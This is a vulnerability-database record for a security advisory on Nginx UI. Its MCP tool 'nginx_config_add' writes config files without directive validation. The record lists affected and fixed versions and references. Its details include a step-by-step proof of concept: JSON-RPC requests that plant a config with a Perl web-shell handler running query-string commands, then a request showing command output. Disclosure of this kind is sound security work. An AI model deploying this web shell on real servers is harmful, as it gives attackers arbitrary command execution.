{"schema":"threatline.record/2","record":{"id":"CVE-2026-84318","aliases":["GHSA-9jww-cxg5-rj9m","GO-2026-6781"],"summary":"Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE","details":"### Summary\n\nThe MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.\n\n### Details\n\n`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:\n\n```go\nerr = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist\nif err != nil {\n    cosy.ErrHandler(c, err)\n    return\n}\n```\n\n`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:\n\n```go\nerr = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check\n...\nres := nginx.Control(nginx.Reload)               // reload triggered immediately\n```\n\n`config.ValidateConfigFile` runs two checks:\n- **`ValidateConfigContent`** — rejects control characters, enforces encoding.\n- **`ValidateConfigDirectives`** — rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.\n\nNeither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly — only `config_add.go` is affected.\n\nThe MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.\n\n### PoC\n\n**1 — Control: confirm REST API blocks the payload**\n\n```\nPOST /api/configs\nAuthorization: <token>\n\n{ \"name\": \"rce.conf\", \"base_dir\": \"conf.d\", \"content\": \"<perl config below>\", \"overwrite\": true }\n```\n\nResponse:\n```\nHTTP 500  scope=config  code=40017\nmessage: file content contains restricted nginx directive: {0}\n```\n\n`ValidateConfigDirectives` rejects `perl` — the REST API is working as intended.\n\n**2 — Open MCP SSE session**\n\n```\nGET /mcp\nAuthorization: <token>\nAccept: text/event-stream\n```\n\nExtract `sessionId` from the `endpoint` event.\n\n**3 — MCP initialize handshake**\n\n```\nPOST /mcp_message?sessionId=<id>\n\n{ \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n  \"params\": { \"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": { \"name\": \"poc\", \"version\": \"1.0\" } } }\n```\n\n**4 — Call `nginx_config_add` with the identical blocked payload**\n\n```\nPOST /mcp_message?sessionId=<id>\n\n{\n  \"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"rce_backdoor.conf\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"content\": \"server {\\n    listen 8888;\\n\\n    location /rce {\\n        perl 'sub {\\n            my $r = shift;\\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\\n            $cmd ||= \\\"id\\\";\\n            $r->send_http_header(\\\"text/plain\\\");\\n            $r->print(qx($cmd 2>&1));\\n            return OK;\\n        }';\\n    }\\n}\\n\"\n    }\n  }\n}\n```\n\nResponse (`HTTP 200 OK`) — file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"result\": {\n    \"content\": [\n      {\n        \"type\": \"text\",\n        \"text\": \"{\\\"content\\\":\\\"...\\\",\\\"file_path\\\":\\\"/etc/managed-nginx/conf.d/rce_backdoor.conf\\\",\\\"name\\\":\\\"rce_backdoor.conf\\\"}\"\n      }\n    ]\n  }\n}\n```\n\nThe `perl` directive — explicitly listed in `blockedConfigDirectives` and rejected by the REST API — passes through without any check.\n\n**5 — Trigger RCE**\n\n```\nGET http://<target>:8888/rce?cmd=id\n```\n\n```\nuid=101(nginx) gid=101(nginx) groups=101(nginx)\n```\n\n### Impact\n\nAny authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.\n\nOn servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.","categories":["Web servers"],"product":"github.com/0xJacky/Nginx-UI","vendor":"0xJacky","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jww-cxg5-rj9m","source_modified_at":"2026-10-15T20:11:19Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"range":">= 1.9.10-0.20250506154222-1330888280a2, < 1.9.10-0.20260703131214-23d1934099b0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-84318","source_modified_at":"2026-10-13T14:59:04.180Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"nginx-ui","vendor":"0xJacky","versions":[{"status":"affected","version":">= 2.0.0-rc.6, < 2.4.1"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jww-cxg5-rj9m","source_modified_at":"2026-10-19T21:41:19.085165566Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/0xJacky/Nginx-UI","ecosystem":"Go","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.10-0.20250506154222-1330888280a2"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jww-cxg5-rj9m","source_modified_at":"2026-10-15T20:11:19Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260703131214-23d1934099b0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jww-cxg5-rj9m","source_modified_at":"2026-10-19T21:41:19.085165566Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/0xJacky/Nginx-UI","ecosystem":"Go","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260703131214-23d1934099b0"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00617,"percentile":0.48942,"score_date":"2026-10-23"},"published_at":"2026-10-12T20:20:18.595Z","modified_at":"2026-10-19T21:41:19.085165566Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-9jww-cxg5-rj9m","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T20:11:19Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-84318","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-13T14:59:04.180Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-9jww-cxg5-rj9m","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-19T21:41:19.085165566Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84318","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84318","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-9jww-cxg5-rj9m","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-13T14:58:57.805122Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:19.085165566Z","content_hash":"64e7cc6afa1277915b2b99fee57c6f8ee7b7dfebd1d6c74676384f7dfe0b011f"}}
